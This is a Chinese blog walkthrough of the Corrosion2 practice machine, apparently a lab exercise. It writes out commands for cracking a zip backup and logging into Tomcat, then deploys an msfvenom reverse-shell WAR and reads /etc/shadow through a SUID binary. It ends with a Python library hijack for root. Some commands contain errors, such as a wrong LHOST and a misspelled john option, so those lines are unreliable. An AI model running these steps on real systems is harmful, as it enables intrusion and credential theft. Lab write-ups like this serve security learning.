vulhub打靶记录——Corrosion2

文章目录

  • 主机发现
  • 端口扫描
  • ssh—22
    • search openssh EXP
  • web服务—8080
    • 目录扫描
    • 登录tomcat后台
  • 提权
    • 切换用户
    • 查看用户权限
    • 寻找SUID命令
    • 破解登录密文
  • 总结

主机发现

使用nmap扫描局域网内存活的主机,命令如下:

nmap -sP 192.168.151.0/24

在这里插入图片描述

  • 192.168.151.1:主机IP;
  • 192.168.151.2:DHCP服务器IP;
  • 192.168.151.5:靶机IP;
  • 192.168.151.4:Kali IP。

端口扫描

使用nmap对靶机进行端口扫描,命令如下:

nmap -p- -sV -A 192.168.151.5 

在这里插入图片描述

可见这台靶机,开放了端口:22(ssh,远程登录协议))、80(http,web服务)、8080(http,web服务)。

ssh—22

search openssh EXP

searchsploit openssh # 搜索exp

在这里插入图片描述

web服务—8080

目录扫描

使用dirsearch进行目录扫描。命令如下:

dirsearch -u http://192.168.151.5 -e php,txt,html,js,php.bak,txt.bak,html.bak,json,git,git.bak

在这里插入图片描述
在目录扫描中发现了一些东西
1.192.168.151.5/readme.txt,发现这台主机的有一个用户为randy
在这里插入图片描述
2.192.168.151.5/backup.zip,有一个备份文件,发现加密了。
在这里插入图片描述

tomcat-users.xml中包含tomcat管理端所有用户的用户名和密码。

尝试用fcrackzip对zip文件进行解密,命令如下:

fcrackzip -D -p /usr/share/wordlist/rockyou.txt -u backup.zip
  • -D:表示使用字典对文件进行解析;
  • -p:表示字典路径;
  • -u:把密码显示在终端。

在这里插入图片描述
查看tomcat-users.xml的内容,可以发现两个用户名和相应的密码:

manager melehifokivai
admin melehifokivai

在这里插入图片描述

登录tomcat后台

拿到用户名和密码后,尝试区登录tomcat。点击manager app,并输入用户名和密码。

在这里插入图片描述

成功登录tomcat管理后台,登录进来是一个web项目发布的管理端。tomcat一般发布的是java的web工程,发布的形式的话,可以以目录的方式进行发布,也可以以WAR包的形式进行发布。也就是存在上传点!!!

在这里插入图片描述
使用msfvenom生成恶意程序(也可以用它对恶意程序加密加壳等),命令如下:Reverse Shell Generator

msfvenom -p java/shell_reverse_tcp LHOST=192.168.151.5 LPORT=4444 -f war -o shell.war
  • -p:需要使用的payload;
  • -f:输出格式;
  • -0:输出路径。
  • war包其实就跟zip压缩包差不多,可以直接使用unzip shell.war进行解压。

在这里插入图片描述

直接上传生成的shell.war,然后需要做的就是nc -nlvp 4444监听本地端口,访问192.168.151.5、shell即可reverse shell。

在这里插入图片描述
在这里插入图片描述

提权

使用下面的命令建立半交互式shell,发现并没有python(搞不定,先不搞咯)

python -c "import pty;pty.spawn("/bin/bash")"

在这里插入图片描述

切换用户

先进入/home,发现jaye、randy两个用户,因为我们有一个zip压缩包的密码、登录tomcat后台的密码,所以可以尝试用这两个密码去登录这两个用户。事实证明是可行的,jaye用户的密码就是tomcat登录密码。
在这里插入图片描述

查看用户权限

查看jaye用户的权限,发现当前用户不能使用sudo命令。

sudo -l # 查看当前用户是否具有sudo权限

在这里插入图片描述

寻找SUID命令

寻找具备SUID属性的程序(不知道的命令直接百度,看是不是系统自带的命令),这里发现了一个/home/jaye/Files/look程序具备SUID权限。

find / -perm -u=s -type f 2>/dev/null # 搜索具备SUID属性的程序,主要关注当前用户是不是可以以root用户去执行某些命令

在这里插入图片描述
这个look命令,大概意思就是找到文件中以指定字母开头的内容。
在这里插入图片描述

在这里插入图片描述

破解登录密文

尝试读取/etc/shadow文件,查看该系统所有用户的密码(密文)

look '' /etc/shadow # 空字符就代表查看文件中的所有内容

在这里插入图片描述
既然拿到密文,可以使用john去尝试破解密文。

echo '密文' >> pw.txt
john --wprdlist=/usr/share/wordlist/rockyou.txt pw.txt

在这里插入图片描述

su randy # 切换randy用户,密码为07051986randy
sudo -l # 查看randy用户的sudo权限

在这里插入图片描述
用户randy执行sudo /usr/bin/python3.8 /home/randy/randombase64.py时,是以root用户执行的。

ls -l /home/randy/randombase64.py # 查看权限,只有root用户具有可写权限
cat /home/randy/randombase64.py # 查看/home/randy/randombase64.py内容

在这里插入图片描述
查看文件内容,发现import base64,思路:在base64.py里加入os.system("/bin/bash"),这样在调用该文件的时候,就会获取root用户的shell
在这里插入图片描述

locate base64 # 定位base64文件
echo 'import os' >> randombase64.py
echo 'os.system("/bin/bash")' >> /usr/lib/python3.8/base64.py
sudo /usr/bin/python3.8 /home/randy/randombase64.py

在这里插入图片描述
最终提权成功
在这里插入图片描述

总结

  1. nmap端口扫描。发现靶机开放的服务;
  2. 对web服务进行目录扫描,发现8080端口的web服务存在备份文件backup.zip;
  3. 使用john对zip文件进行密码破解,
  4. 查看tomcat-users.xml文件,获得密码,再登录tomcat后台;
  5. msfvenom生成war包的后门文件,通过tomcat上传WAR;
  6. 监听端口,访问后门,获取webshell;
  7. 由之前获取的密码登录靶机,成功登录jaye用户;
  8. 寻找SUID程序,由look程序,查看/etc/shadow,破解randy用户密码;
  9. 切换randy用户,查看sudo用户权限,修改randombase64.py文件且添加/bin/bash,获取root用户的shell。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/300432.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

1分钟带你学会使用NumPy对数组的级联合并操作

1.np.concatenate() ​参数是列表或元组 级联的数组维度必须相同 可通过axis参数改变级联的方向 注意,np.concatenate函数要求所有输入数组在沿着连接轴的维度上具有相同的形状 # 导包import numpy as np​# 创建两个二维数组n1 np.random.randint(0,100,size…

中非绿色能源合作走深走实

近日,第十六届非洲能源大会在南非立法首都开普敦举行,探讨实现非洲能源转型的可持续解决方案。近年来,中国与非洲国家不断加强绿色能源合作,促进双方优势资源互补,逐步探索合作共赢的绿色能源合作方案。 势头良好 近年…

[lesson10]C++中的新成员

C中的新成员 动态内存分配 C中的动态内存分配 C中通过new关键字进行动态内存申请C中的动态内存申请是基于类型进行的delete关键字用于内存释放 new关键字与malloc函数的区别 new关键字是C的一部分malloc是由C库提供的函数new以具体类型位单位进行内存分配malloc以字节位单位…

[计算机效率] 磁盘空间分析工具:FolderSize

3.15 磁盘空间分析工具:FolderSize FolderSize是一款磁盘管理工具,提供预约交互式磁盘空间分析体验,可以可视化观察磁盘空间使用情况。程序可以帮助用户快速查看并统计硬盘中的各个分区所占用的空间大小以及文件夹和文件的大小,并…

Java开发测试(第一篇):Java测试框架JUnit5

目录 1.基本介绍 2.maven中安装JUnit5 3.使用 4.JUnit5命名规则 5.JUnit5常用注解 6.JUnit5断言 7.JUnit5多个类之间的继承关系 8.JUnit5参数化 (1)使用场景: (2)使用前需在pom.xml文件中导入依赖 &#xff…

算法-数论-蓝桥杯

算法-数论 1、最大公约数 def gcd(a,b):if b 0:return areturn gcd(b, a%b) # a和b的最大公约数等于b与a mod b 的最大公约数def gcd(a,b):while b ! 0:cur aa bb cur%bpassreturn a欧几里得算法 a可以表示成a kb r(a,b,k&#xff0c…

leetcode热题100.跳跃游戏2

Problem: 45. 跳跃游戏 II 文章目录 题目思路复杂度Code 题目 给定一个长度为 n 的 0 索引整数数组 nums。初始位置为 nums[0]。 每个元素 nums[i] 表示从索引 i 向前跳转的最大长度。换句话说,如果你在 nums[i] 处,你可以跳转到任意 nums[i j] 处: …

cmake学习笔记1

基础概念 CMake是什么? CMake是一个元构建系统(meta build-system),用于生产其他构建系统文件(如Makefile或Ninja)。 基础操作方式 CMake使用一个CMakeLists.txt文件描述配置,然后使用cmake驱动这个文件生成对应构建系统文件。…

自动驾驶之心规划控制笔记

Search-based Path Planning Methods Path Finding Problem 一般来说指标有距离,耗费时间,能量,或者多目标。 左图是拓扑地图,蓝色的点就是顶点,绿色的线是连接关系。最后得到的是一个从哪里走的一个最优,并非精细解。 右图是栅格地图,这个搜索出来的是在相对分辨率比…

作为一个前端,在入职新公司如何快速安装好开发环境

由于电脑运行内存才16G有点卡,今天公司给我们换了32G内存,是直接整个主机都换了,环境自然得重新安装,在装的过程中,自己会有些心得体会,就是想着一个新人如何快速安装环境。 个人说一下我的思路&#xff1a…

Node操作mysql

配置 安装mysql模块 npm i mysql建立连接 const mysql require(mysql);const db mysql.createPool({host: 127.0.0.1,user: root,password: admin123,database: my_db_01 });测试 // select 1没有任何实质性作用 只是检查mysql模块是否正常 db.query(select 1, (err, results…

mac如何检测移动硬盘 mac硬盘检测工具 Tuxera怎么用 Tuxera NTFS官网

在工作学习中,我们都绕不开用移动硬盘来拷贝存储一些文件。但是在使用过程中,我们经常遇到“mac检测不到移动硬盘”“移动硬盘不存在”等问题,今天本文就带大家了解下mac如何检测移动硬盘,mac硬盘检测工具。 一、mac如何检测移动…

43.1k star, 免费开源的 markdown 编辑器 MarkText

43.1k star, 免费开源的 markdown 编辑器 MarkText 分类 开源分享 项目名: MarkText -- 简单而优雅的开源 Markdown 编辑器 Github 开源地址: https://github.com/marktext/marktext 官网地址: MarkText 支持平台: Linux, macOS 以及 Win…

网页的皮肤——CSS

1. CSS 介绍 CSS(Cascading Style Sheets)是一种样式表语言,用于描述 HTML 或 XML(包括如 SVG、XHTML 等)文档的外观和格式。CSS 允许开发者将文档的内容与其表现分离,使得网页设计更加灵活和可维护。CSS …

Python作业

第一题:打印菱形(实心) 第二题:打印菱形(空芯) 第三题:打印菱形(间隔为2) 第四题:猜数字 第五题:最大公约数 第六题:判断素数 第七题&…

Redis的高可用和持久化

目录 一、Redis高可用 二、Redis持久化 2.1 持久化的功能 2.2 Redis提供两种方式进行持久化 三、RDB持久化 3.1 触发条件 3.1.1 手动触发 3.1.2 自动触发 3.1.3 其他自动触发机制 四、AOF持久化 4.1 开启AOF 4.2 执行流程 4.2.1 命令追加 (append) 4.2.2 文件写入…

深入理解数据结构第三弹——二叉树(3)——二叉树的基本结构与操作

二叉树(1):深入理解数据结构第一弹——二叉树(1)——堆-CSDN博客 二叉树(2):深入理解数据结构第二弹——二叉树(2)——堆排序及其时间复杂度-CSDN博客 前言…

如何通过ArkTS卡片的Canvas自定义绘制能力实现五子棋游戏卡片

介绍 本示例展示了如何通过ArkTS卡片的Canvas自定义绘制能力实现一个简单的五子棋游戏卡片。 使用Canvas绘制棋盘和黑白棋子的落子。通过卡片支持的点击事件进行交互,让用户在棋盘上进行黑白棋子的对局。通过TS的逻辑代码实现五子棋输赢判定、回退等逻辑计算&…

多线程学习-线程安全

目录 1.多线程可能会造成的安全问题 2. static共享变量 3.同步代码块 4.同步方法 5.使用Lock手动加锁和解锁 6.死锁 1.多线程可能会造成的安全问题 场景:三个窗口同时售卖100张电影票,使用线程模拟。 public class MyThread extends Thread{//tic…

时序分解 | Matlab实现GSWOA-VMD改进鲸鱼优化算法优化变分模态分解时间序列信号分解

时序分解 | Matlab实现GWO-CEEMDAN基于灰狼算法优化CEEMDAN时间序列信号分解 目录 时序分解 | Matlab实现GWO-CEEMDAN基于灰狼算法优化CEEMDAN时间序列信号分解效果一览基本介绍程序设计参考资料 效果一览 基本介绍 Matlab实现GSWOA-VMD改进鲸鱼优化算法优化变分模态分解时间序…